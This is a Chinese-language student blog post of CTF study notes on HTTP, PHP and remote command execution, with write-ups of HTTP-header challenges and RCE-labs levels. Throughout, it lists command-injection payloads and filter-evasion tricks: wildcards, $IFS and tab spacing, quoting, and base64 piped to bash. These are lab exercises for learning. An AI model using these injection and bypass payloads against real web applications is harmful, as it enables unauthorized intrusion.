rce(第二周)

http协议

一次完整的HTTP访问

  1. DNS 解析域名 → IP
  1. 与服务器建立 TCP 连接
  1. 浏览器构造 HTTP 请求报文 发送
  1. 服务器构造 HTTP 响应报文 返回
  1. 浏览器解析响应(HTML / 图片 / 跳转)
  • HTTP请求结构


其中包含请求方法请求头空行请求体
常见方法:GET(参数在URL),POST(参数在body)
常见绕过的请求头:Host,User-Agant,Referer,Cookie,X-Forwarded-for,Data等

  • HTTP响应结构

  •  其中包含:状态行响应头响应体
    状态码的分类:200(成功),3XX(重定向),4XX(客户端错误->网页不存在),5XX(服务器错误)

PHP 学习

php基本格式

Plain Text
<?php
//
相关代码
?>

  • $是变量符,后跟变量名称,区分大小写
  • php是一门弱语言,不用声明数据类型

魔术常量
形如_FILE_这样的预定义常量

_FILE_ //返回文件的完整路径和文件名 highlight_file(FILE); //代码高亮的显示当前文件内容

表单数据
$_GET——接受GET请求的参数;
$_POST——接受POST请求的参数;
$_REQUEST——接受几乎所有传递的参数如(GET,POST,cookie等)
文件操作函数
include(),require()(文件必须存在). :导入并执行php文件
fopen():打开文件
file_get_contents():读取文件内容到一个字符串
file_put_contents():将一个字符串写入文件
代码执行函数
eval():执行字符串中的php代码
assert():调试检查是否为true
system(),shell_exec(),exec(),passthru():执行外部程序命令如(ls,whoami等)
反序列化函数
unserialize():将一个已序列化的字符串转回php值
数据库操作函数
mysql_query(),mysqli_query():发送一个mysql查询

RCE

基本函数

  • 有回显: system(),exec("回显最后一行,全部回显需要定义数组变量并输出"),passthru(回显二进制数据经过渲染返回正常数据),
  • 无回显:shell_exec(返回字符串,回显需借用echo等函数),反引号 ,popen(需要用文件读取函数获取fget、fread返回内容,再用输出函数回显,第二个参数是模式r、w),proc_open(),pcntl_exec()

操作系统连接符

  • 拼接命令(';' '&' '&&' '|' '||')

使用&&&需要用url编码->%26
&&
执行下一条命令的条件是上一条命令执行成功
|| 是上一条命令成功执行则不执行下一条命令(可以绕过**>/dev/null2>&1**完成回显效果)

空格过滤绕过

  • 大括号{cat,flag.php}
  • $IFS,{$IFS},{$IFS$9}
  • 重定向字符<
  • %09(Tab),%20(space)

文件名过滤绕过

  • 通配符? 、*绕过(?指单个字符串,*指所有)

Plain Text
cat fl??.php
cat fl*

  • 单引号,双引号绕过(注意闭合)

Plain Text
cat fl""ag.php

  • 反斜线\绕过

Plain Text
cat fl\ag.p\hp

  • 特殊变量$1~9、9、@、$*
  • 内联执行

Plain Text
a=f;b=la;c=g.ph;d=p;cat $a$b$c$d

  • 利用linux里的环境变量进行拼接


${PATH:5:1}->PATH里面第5个字符开始取第一个字符,下标从0开始

文件读取命令绕过

  • 反向显示(cat->tac)
  • 换读取命令

Plain Text
more
、less:读取每页
tail:末尾十行
nl:读取内容显示行号
od:二进制读取->od -A d -C:以ascii码输出
xxd:同时返回16进制和字符串
sort:排序文件并输出
uniq:删除连续重复的行并输出
file -f:报错回显
grep:正则表达式查找

编码绕过

Plain Text
echo base64编码 | base -d | bash(或者sh)
echo base64编码 | base -d
$(echo base64编码 | base -d)
echo HEX编码(ascii码) | xxd -r -p | bash
printf "shellcode编码" | bash

writeup

[MoeCTF 2021]Do you know HTTP

  • 访问页面发现要求HS请求

  • 根据提示用burpsuit抓包然后发送到repeater

修改GET头为HS,发现需要本地请求

  • 添加X-Forwarded-for: 127.0.0.1

  • 用Referer添加页面地址

  • 把User-Agent改为指定浏览器

  • 成功拿到flag

[SWPUCTF 2024 秋季新生赛]http标头

  • 提示了发售当天的000;查一下黑神话的发售日期为2024年8月20日,星期二
  • 先抓包,用data头修改日期

  • 然后把User-Agent改为指定浏览器
  • 把cookie也改为指定数值,试了很多种,什么monkey,like等都试了没用,查资料发现是直接用cookie= ,我也是没招了
  • 后面直接添加Referer头就行了

最后添加X-Forwarded-for: 127.0.0.1就结束了

RCE-labs

RCE-labsLevel 0

页面顶上有flag,复制粘贴即可

RCE-labsLevel 1

有include ()函数和eval($_POST['a'])函数且接收post输入的‘a’ 直接在hackbar中输入以下payload即可

Plain Text
a= echo $flag;

RCE-labsLevel 2

根据提示先用GET的提交方式输入?action=r,用随机到的函数构造payload,我第一个运气不好随到了preg_replace,这个函数的\e已经无效弄得我试了很多payload都没用,后面随到了eval,直接在POST中输入content='echo $flag;'就可以得到flag

Plain Text
content='echo $flag;

RCE-labsLevel 3

接受post输入的命令且以system运行,直接在post栏输入于以下payload即可

Plain Text
ls /
cat flag

RCE-labsLevel 4

这题用GET接受ip输入并用system执行,所以直接在url地址构建payload即可,但这题应该过滤了cat函数,所以我改用了sort读取flag

Plain Text
?id=-1; ls /
?id=-1; sort /flag

RCE-labsLevel 5

GET请求cmd接收,用system执行命令但过滤了flag,在url中构建payload如下:

Plain Text
?cmd=ls /
?cmd=cat /fl""ag

RCE-labsLevel 6

这关几乎过滤了所有字母和字符但是放开了a和/,然后在网上查了cat命令是放在/bin/中,于是可以用通配符?构造payload (看了网上的payload还是不能理解为什么都是默认flag文件是在根目录下,没有看到一个判断了flag路径的payload

Plain Text
/???/?a? /??a?

RCE-labsLevel 7

这关是空格绕过加过滤flag,用%09代替空格然后用\绕过正则即可

Plain Text
?cmd=ls%09/
?cmd=cat%09/fla/g

RCE-labsLevel 8

这关是>/dev/null 2>&1垃圾清理绕过,可以利用 || 的若前这运行成功则后者不运行的命令绕过

Plain Text
?cmd=ls / || ?cmd=cat /flag ||

学习心得

学了rce但是没有完全学完,还有长度限制的rce没有写进来,实在是这个图文格式太难转换了,编辑csdn把我本地的学习笔记转进来图片就全没了,这篇的图片都是我一个一个复制粘贴进来的,太痛苦了。总体来说本周了解了http的响应回复机制,自己用docker搭建了靶场,说到docker,这个虚拟环境真是太难弄了,我的虚拟机的windows又不知道为什么不能和docker环境共存,开docker就不能开windows,这有点难受了,基本的php函数和语法格式主要是为了学习rce准备的,希望以后越来越好把,本周的内容还算简单。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐